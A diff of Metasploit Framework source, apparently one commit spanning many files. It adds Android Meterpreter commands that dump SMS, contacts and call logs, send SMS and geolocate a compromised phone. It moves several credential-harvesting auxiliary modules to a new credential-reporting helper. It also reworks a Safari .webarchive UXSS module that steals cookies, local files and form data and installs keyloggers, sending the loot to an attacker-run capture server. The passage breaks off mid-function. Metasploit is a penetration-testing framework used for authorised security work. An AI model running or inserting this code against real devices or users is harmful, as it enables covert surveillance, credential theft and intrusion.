all.delete_if do |cmd, desc|
reqs[cmd].any? { |req| not client.commands.include?(req) }
all.delete_if do |cmd, _desc|
reqs[cmd].any? { |req| !client.commands.include?(req) }
end
end
def cmd_device_shutdown(*args)
def interval_collect_usage
print_line('Usage: interval_collect <parameters>')
print_line
print_line('Specifies an action to perform on a collector type.')
print_line
print_line(@@interval_collect_opts.usage)
end
def cmd_interval_collect(*args)
@@interval_collect_opts ||= Rex::Parser::Arguments.new(
'-h' => [false, 'Help Banner'],
'-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"],
'-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"],
'-t' => [true, 'Collect poll timeout period in seconds (default: 30)']
)
opts = {
action: nil,
type: nil,
timeout: 30
}
@@interval_collect_opts.parse(args) do |opt, idx, val|
case opt
when '-a'
opts[:action] = val.downcase
when '-c'
opts[:type] = val.downcase
when '-t'
opts[:timeout] = val.to_i
opts[:timeout] = 30 if opts[:timeout] <= 0
end
end
unless client.android.collect_actions.include?(opts[:action])
interval_collect_usage
return
end
type = args.shift.downcase
unless client.android.collect_types.include?(opts[:type])
interval_collect_usage
return
end
result = client.android.interval_collect(opts)
if result[:headers].length > 0 && result[:entries].length > 0
header = "Captured #{opts[:type]} data"
if result[:timestamp]
time = Time.at(result[:timestamp]).to_datetime
header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}"
end
table = Rex::Ui::Text::Table.new(
'Header' => header,
'SortIndex' => 0,
'Columns' => result[:headers],
'Indent' => 0
)
result[:entries].each do |e|
table << e
end
print_line
print_line(table.to_s)
else
print_good('Interval action completed successfully')
end
end
def cmd_device_shutdown(*args)
seconds = 0
device_shutdown_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-t' => [ false, 'Shutdown after n seconds']
)
device_shutdown_opts.parse(args) { | opt, idx, val |
device_shutdown_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: device_shutdown [options]')
@@ -62,26 +140,25 @@ class Console::CommandDispatcher::Android
when '-t'
seconds = val.to_i
end
}
end
res = client.android.device_shutdown(seconds)
if res
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
else
print_error('Device shutdown failed')
end
end
def cmd_dump_sms(*args)
def cmd_dump_sms(*args)
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_sms_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for sms list']
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for sms list']
)
dump_sms_opts.parse(args) { | opt, idx, val |
dump_sms_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: dump_sms [options]')
@@ -91,19 +168,18 @@ class Console::CommandDispatcher::Android
when '-o'
path = val
end
}
end
smsList = []
smsList = client.android.dump_sms
sms_list = client.android.dump_sms
if smsList.count > 0
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
if sms_list.count > 0
print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n=====================\n"
data << "[+] Sms messages dump\n"
data << "[+] SMS messages dump\n"
data << "=====================\n\n"
time = Time.new
@@ -112,8 +188,7 @@ class Console::CommandDispatcher::Android
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
smsList.each_with_index { |a, index|
sms_list.each_with_index do |a, index|
data << "##{index.to_i + 1}\n"
type = 'Unknown'
@@ -147,14 +222,14 @@ class Console::CommandDispatcher::Android
data << "Address\t: #{a['address']}\n"
data << "Status\t: #{status}\n"
data << "Message\t: #{a['body']}\n\n"
}
end
::File.write(path, data)
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
return true
rescue
print_error("Error getting messages: #{$!}")
print_error("Error getting messages: #{$ERROR_INFO}")
return false
end
else
@@ -163,18 +238,15 @@ class Console::CommandDispatcher::Android
end
end
def cmd_dump_contacts(*args)
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_contacts_opts = Rex::Parser::Arguments.new(
dump_contacts_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for contacts list']
)
dump_contacts_opts.parse(args) { | opt, idx, val |
dump_contacts_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: dump_contacts [options]')
@@ -184,13 +256,12 @@ class Console::CommandDispatcher::Android
when '-o'
path = val
end
}
end
contactList = []
contactList = client.android.dump_contacts
contact_list = client.android.dump_contacts
if contactList.count > 0
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
if contact_list.count > 0
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
begin
info = client.sys.config.sysinfo
@@ -205,32 +276,28 @@ class Console::CommandDispatcher::Android
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
contactList.each_with_index { |c, index|
contact_list.each_with_index do |c, index|
data << "##{index.to_i + 1}\n"
data << "Name\t: #{c['name']}\n"
if c['number'].count > 0
(c['number']).each { |n|
data << "Number\t: #{n}\n"
}
c['number'].each do |n|
data << "Number\t: #{n}\n"
end
if c['email'].count > 0
(c['email']).each { |n|
data << "Email\t: #{n}\n"
}
c['email'].each do |n|
data << "Email\t: #{n}\n"
end
data << "\n"
}
end
::File.write(path, data)
print_status("Contacts list saved to: #{path}")
return true
rescue
print_error("Error getting contacts list: #{$!}")
print_error("Error getting contacts list: #{$ERROR_INFO}")
return false
end
else
@@ -243,13 +310,11 @@ class Console::CommandDispatcher::Android
generate_map = false
geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-g' => [ false, 'Generate map using google-maps']
)
geolocate_opts.parse(args) { | opt, idx, val |
geolocate_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: geolocate [options]')
@@ -259,7 +324,7 @@ class Console::CommandDispatcher::Android
when '-g'
generate_map = true
end
}
end
geo = client.android.geolocate
@@ -278,7 +343,6 @@ class Console::CommandDispatcher::Android
end
def cmd_dump_calllog(*args)
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_calllog_opts = Rex::Parser::Arguments.new(
@@ -287,7 +351,7 @@ class Console::CommandDispatcher::Android
)
dump_calllog_opts.parse(args) { | opt, idx, val |
dump_calllog_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: dump_calllog [options]')
@@ -297,12 +361,12 @@ class Console::CommandDispatcher::Android
when '-o'
path = val
end
}
end
log = client.android.dump_calllog
if log.count > 0
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
begin
info = client.sys.config.sysinfo
@@ -317,23 +381,21 @@ class Console::CommandDispatcher::Android
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
log.each_with_index { |a, index|
log.each_with_index do |a, index|
data << "##{index.to_i + 1}\n"
data << "Number\t: #{a['number']}\n"
data << "Name\t: #{a['name']}\n"
data << "Date\t: #{a['date']}\n"
data << "Type\t: #{a['type']}\n"
data << "Duration: #{a['duration']}\n\n"
}
end
::File.write(path, data)
print_status("Call log saved to #{path}")
return true
rescue
print_error("Error getting call log: #{$!}")
print_error("Error getting call log: #{$ERROR_INFO}")
return false
end
else
@@ -342,14 +404,13 @@ class Console::CommandDispatcher::Android
end
end
def cmd_check_root(*args)
check_root_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
check_root_opts.parse(args) { | opt, idx, val |
check_root_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: check_root [options]')
@@ -357,26 +418,123 @@ class Console::CommandDispatcher::Android
print_line(check_root_opts.usage)
return
end
}
end
is_rooted = client.android.check_root
if is_rooted
print_good('Device is rooted')
elsif
else
print_status('Device is not rooted')
end
end
def cmd_send_sms(*args)
send_sms_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-d' => [ true, 'Destination number' ],
'-t' => [ true, 'SMS body text' ],
'-dr' => [ false, 'Wait for delivery report' ]
)
dest = ''
body = ''
dr = false
send_sms_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line('Usage: send_sms -d <number> -t <sms body>')
print_line('Sends SMS messages to specified number.')
print_line(send_sms_opts.usage)
return
when '-d'
dest = val
when '-t'
body = val
when '-dr'
dr = true
end
end
if dest.blank? || body.blank?
print_error("You must enter both a destination address -d and the SMS text body -t")
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
print_line(send_sms_opts.usage)
return
end
sent = client.android.send_sms(dest, body, dr)
if dr
if sent[0] == "Transmission successful"
print_good("SMS sent - #{sent[0]}")
else
print_error("SMS send failed - #{sent[0]}")
end
if sent[1] == "Transmission successful"
print_good("SMS delivered - #{sent[1]}")
else
print_error("SMS delivery failed - #{sent[1]}")
end
else
if sent == "Transmission successful"
print_good("SMS sent - #{sent}")
else
print_error("SMS send failed - #{sent}")
end
end
end
def cmd_wlan_geolocate(*args)
wlan_geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
case opt
when '-h'
print_line('Usage: wlan_geolocate')
print_line('Tries to get device geolocation from WLAN information and Google\'s API')
print_line(wlan_geolocate_opts.usage)
return
end
end
log = client.android.wlan_geolocate
wlan_list = []
log.each do |x|
mac = x['bssid']
ssid = x['ssid']
ss = x['level']
wlan_list << [mac, ssid, ss.to_s]
end
if wlan_list.blank?
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
return
end
g = Rex::Google::Geolocation.new
wlan_list.each do |wlan|
g.add_wlan(*wlan)
end
begin
g.fetch!
rescue RuntimeError => e
print_error("Error: #{e}")
else
print_status(g.to_s)
print_status("Google Maps URL: #{g.google_maps_url}")
end
end
#
# Name for this dispatcher
#
def name
'Android'
end
end
end
end
end
end
@@ -81,6 +81,7 @@ module Console::InteractiveChannel
data = self.lsock.sysread(16384)
self.on_print_proc.call(data.strip) if self.on_print_proc
self.on_log_proc.call(data.strip) if self.on_log_proc
user_output.print(data)
end
@@ -91,6 +92,8 @@ module Console::InteractiveChannel
self.lsock
end
attr_accessor :on_log_proc
end
end
+2 -3
View File
@@ -58,7 +58,6 @@ class Client
'method_random_case' => 'bool',
'version_random_valid' => 'bool',
'version_random_invalid' => 'bool',
'version_random_case' => 'bool',
'uri_dir_self_reference' => 'bool',
'uri_dir_fake_relative' => 'bool',
'uri_use_backslashes' => 'bool',
@@ -586,8 +585,8 @@ class Client
begin
buff = conn.get_once(-1, 1)
rv = resp.parse( buff || '' )
buff = conn.get_once(resp.max_data, 1)
rv = resp.parse(buff || '')
# Handle unexpected disconnects
rescue ::Errno::EPIPE, ::EOFError, ::IOError
-5
View File
@@ -52,7 +52,6 @@ class ClientRequest
'method_random_case' => false, # bool
'version_random_valid' => false, # bool
'version_random_invalid' => false, # bool
'version_random_case' => false, # bool
'uri_dir_self_reference' => false, # bool
'uri_dir_fake_relative' => false, # bool
'uri_use_backslashes' => false, # bool
@@ -344,10 +343,6 @@ class ClientRequest
ret = Rex::Text.rand_text_alphanumeric(rand(20)+1)
end
if (opts['version_random_case'])
ret = Rex::Text.to_rand_case(ret)
end
ret << "\r\n"
end
+9
View File
@@ -75,6 +75,15 @@ module Color
str.gsub!(/%und/, pre_color+colorize('underline')+post_color)
str.gsub!(/%bld/, pre_color+colorize('bold')+post_color)
str.gsub!(/%clr/, pre_color+colorize('clear')+post_color)
# Background Color
str.gsub!(/%bgblu/, pre_color+colorize('on_blue')+post_color)
str.gsub!(/%bgyel/, pre_color+colorize('on_yellow')+post_color)
str.gsub!(/%bggrn/, pre_color+colorize('on_green')+post_color)
str.gsub!(/%bgmag/, pre_color+colorize('on_magenta')+post_color)
str.gsub!(/%bgblk/, pre_color+colorize('on_black')+post_color)
str.gsub!(/%bgred/, pre_color+colorize('on_red')+post_color)
str.gsub!(/%bgcyn/, pre_color+colorize('on_cyan')+post_color)
str.gsub!(/%bgwhi/, pre_color+colorize('on_white')+post_color)
str
end
+1
View File
@@ -426,6 +426,7 @@ module DispatcherShell
else
dispatcher.send('cmd_' + method, *arguments)
end
ensure
self.busy = false
end
+4
View File
@@ -203,6 +203,10 @@ class Table
cmp = Rex::Socket::addr_atoi(a[index]) <=> Rex::Socket::addr_atoi(b[index])
elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/
cmp = a[index].to_i <=> b[index].to_i
elsif a[index].kind_of?(IPAddr) && a[index].kind_of?(IPAddr) && a[index].ipv6? && b[index].ipv4?
cmp = 1
elsif a[index].kind_of?(IPAddr) && b[index].kind_of?(IPAddr) && a[index].ipv4? && b[index].ipv6?
cmp = -1
else
cmp = a[index] <=> b[index] # assumes otherwise comparable.
end
+1 -1
View File
@@ -61,7 +61,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.0.7'
spec.add_runtime_dependency 'metasploit-payloads', '1.0.9'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler
@@ -71,6 +71,32 @@ class Metasploit3 < Msf::Auxiliary
return nil
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
print_status("#{peer} - Trying to find the service desk service strong name...")
@@ -232,15 +258,15 @@ class Metasploit3 < Msf::Auxiliary
login_url = ssl ? "https://" : "http://"
login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp"
report_auth_info({
:host => rhost,
:port => rport,
:user => datastore["USERNAME"],
:pass => datastore["PASSWORD"],
:type => "password",
:sname => (ssl ? "https" : "http"),
:proof => "#{login_url}\n#{res.body}"
})
report_cred(
ip: rhost,
port: rport,
service_name: (ssl ? "https" : "http"),
user: datastore['USERNAME'],
password: datastore['PASSWORD'],
proof: "#{login_url}\n#{res.body}"
)
print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
print_status("#{peer} - Use it to log into #{login_url}")
end
@@ -33,6 +33,35 @@ class Metasploit3 < Msf::Auxiliary
)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
@@ -72,14 +101,14 @@ class Metasploit3 < Msf::Auxiliary
vprint_good("user: #{@user}")
vprint_good("pass: #{pass}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => @user,
:pass => pass,
:active => true
)
report_cred(
ip: rhost,
port: rport,
service_name: 'http',
user: @user,
password: pass,
proof: line
)
end
end
end
@@ -32,6 +32,33 @@ class Metasploit3 < Msf::Auxiliary
)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
@@ -69,13 +96,13 @@ class Metasploit3 < Msf::Auxiliary
pass = $1
pass = Rex::Text.decode_base64(pass)
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => user,
:pass => pass,
:active => true
report_cred(
ip: rhost,
port: rport,
sname: 'http',
user: user,
password: pass,
proof: line
)
end
end
@@ -47,6 +47,32 @@ class Metasploit4 < Msf::Auxiliary
], self.class)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def run
user = datastore['USERNAME']
pass = datastore['PASSWORD']
@@ -57,14 +83,13 @@ class Metasploit4 < Msf::Auxiliary
print_status("Authenticating as: " << user)
begin
nsc.login
report_auth_info(
:host => rhost,
:port => rport,
:sname => prot,
:user => user,
:pass => pass,
:proof => '',
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: prot,
user: user,
password: pass
)
rescue
@@ -49,6 +49,33 @@ class Metasploit3 < Msf::Auxiliary
datastore["PASSWORD"]
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
if user == pass
@@ -84,14 +111,13 @@ class Metasploit3 < Msf::Auxiliary
if res and res.code == 200 and res.body =~ /Administrator account created/
print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => user,
:pass => pass,
:active => true,
:proof => res.body
report_cred(
ip: rhost,
port: rport,
service_name: 'http',
user: user,
password: pass,
proof: res.body
)
else
print_error("#{peer} - Admin account creation failed")
@@ -62,6 +62,33 @@ class Metasploit3 < Msf::Auxiliary
table_prefix
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
username = Rex::Text.rand_text_alpha(10)
password = Rex::Text.rand_text_alpha(20)
@@ -98,14 +125,14 @@ class Metasploit3 < Msf::Auxiliary
# login successfull
if cookie
print_status("#{peer} - User #{username} with password #{password} successfully created")
report_auth_info(
sname: 'WordPress',
host: rhost,
report_cred(
ip: rhost,
port: rport,
user: username,
pass: password,
active: true
)
password: password,
service_name: 'WordPress',
proof: cookie
)
else
print_error("#{peer} - User creation failed")
return
@@ -7,8 +7,8 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize
super(
@@ -33,6 +33,32 @@ class Metasploit3 < Msf::Auxiliary
)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
begin
print_status("Trying to get 'admin' user password ...")
@@ -62,13 +88,14 @@ class Metasploit3 < Msf::Auxiliary
else
admin_password = admin_password_matches[1];
print_good("Password for user 'admin' is: #{admin_password}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => "ZyXEL GS1510-16",
:user => 'admin',
:pass => admin_password,
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: 'ZyXEL GS1510-16',
user: 'admin',
password: admin_password,
proof: res.body
)
end
rescue ::Rex::ConnectionError
@@ -88,6 +88,32 @@ class Metasploit3 < Msf::Auxiliary
parse_configuration(config[:data])
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
private
def little_endian?
@@ -200,16 +226,14 @@ class Metasploit3 < Msf::Auxiliary
@credentials.each do |k,v|
next unless v[:user] and v[:password]
print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}")
auth = {
:host => rhost,
:port => rport,
:user => v[:user],
:pass => v[:password],
:type => 'password',
:source_type => "exploit",
:active => true
}
report_auth_info(auth)
report_cred(
ip: rhost,
port: rport,
user: v[:user],
password: v[:password],
service_name: 'sercomm',
proof: v.inspect
)
end
end
+32 -7
View File
@@ -36,6 +36,32 @@ class Metasploit3 < Msf::Auxiliary
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
def run
return if not check_dependencies
@@ -56,13 +82,12 @@ class Metasploit3 < Msf::Auxiliary
break
end
else
report_auth_info(
:host => "#{datastore['RHOST']}",
:port => "#{datastore['RPORT']}",
:sname => 'oracle',
:user => "#{datastore['SID']}/#{datastore['DBUSER']}",
:pass => "#{datastore['DBPASS']}",
:active => true
report_cred(
ip: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'oracle',
user: "#{datastore['SID']}/#{datastore['DBUSER']}",
password: datastore['DBPASS']
)
print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
end
@@ -4,28 +4,28 @@
##
require 'msf/core'
require 'msf/core/exploit/format/webarchive'
require 'uri'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Format::Webarchive
include Msf::Auxiliary::Report
# [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS
attr_accessor :scripts_to_poison
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple Safari .webarchive File Format UXSS',
'Name' => 'Mac OS X Safari .webarchive File Format UXSS',
'Description' => %q{
This module exploits a security context vulnerability that is inherent
in Safari's .webarchive file format. The format allows you to
specify both domain and content, so we can run arbitrary script in the
context of any domain. This allows us to steal cookies, file URLs, and saved
passwords from any website we want -- in other words, it is a universal
cross-site scripting vector (UXSS). On sites that link to cached javascripts,
we can additionally poison user's browser cache and install keyloggers.
Generates a .webarchive file for Mac OS X Safari that will attempt to
inject cross-domain Javascript (UXSS), silently install a browser
extension, collect user information, steal the cookie database,
and steal arbitrary local files.
When opened on the target machine the webarchive file must not have the
quarantine attribute set, as this forces the webarchive to execute in a
sandbox.
},
'License' => MSF_LICENSE,
'Author' => 'joev',
@@ -34,785 +34,51 @@ class Metasploit3 < Msf::Auxiliary
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format']
],
'DisclosureDate' => 'Feb 22 2013',
'Actions' =>
[
[ 'WebServer' ]
],
'PassiveActions' =>
[
'WebServer'
],
'Actions' => [ [ 'WebServer' ] ],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']),
OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']),
OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']),
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']),
OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']),
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']),
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]),
OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]),
OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache with a javascript keylogger.", true]),
OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]),
OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for stealing form data.", true])
],
self.class)
end
def run
if should_install_keyloggers?
print_status("Fetching URLs to parse and look for cached assets...")
self.scripts_to_poison = find_cached_scripts
if datastore["URIPATH"].blank?
datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
end
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(webarchive_xml)
print_status("Running WebServer...")
start_http
end
def cleanup
super
# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(collect_data_uri)
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
end
end
#
# Handle the HTTP request and return a response. Code borrorwed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['SRVPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => collect_data_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# Add path to download
uopts = {
'Proc' => Proc.new { |cli, req|
resp = Rex::Proto::Http::Response::OK.new
resp['Content-Type'] = 'application/x-webarchive'
resp.body = @xml.to_s
cli.send_response resp
},
'Path' => webarchive_download_url
}.update(opts['Uri'] || {})
@http_service.add_resource(webarchive_download_url, uopts)
print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}")
# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
end
exploit
end
def on_request_uri(cli, request)
begin
data_str = if request.body.size > 0
request.body
else
request.qstring['data']
if request.method =~ /post/i
data_str = request.body.to_s
begin
data = JSON::parse(data_str || '')
file = record_data(data, cli)
send_response_html(cli, '')
print_good "#{data_str.length} chars received and stored to #{file}"
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
file = record_data(data_str, cli)
print_error "Invalid JSON stored in #{file}"
send_response_html(cli, '')
end
data = JSON::parse(data_str || '')
file = record_data(data, cli)
send_response_html(cli, '')
print_good "#{data_str.length} chars received and stored to #{file}"
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
print_error "Invalid JSON received: #{data_str}"
send_not_found(cli)
else
send_response(cli, webarchive_xml, {
'Content-Type' => 'application/x-webarchive',
'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\""
})
end
end
# @param [Hash] data the data to store in the log
# @return [String] filename where we are storing the data
def record_data(data, cli)
@client_cache ||= Hash.new({})
@client_cache[cli.peerhost]['file'] ||= store_loot(
"safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data"
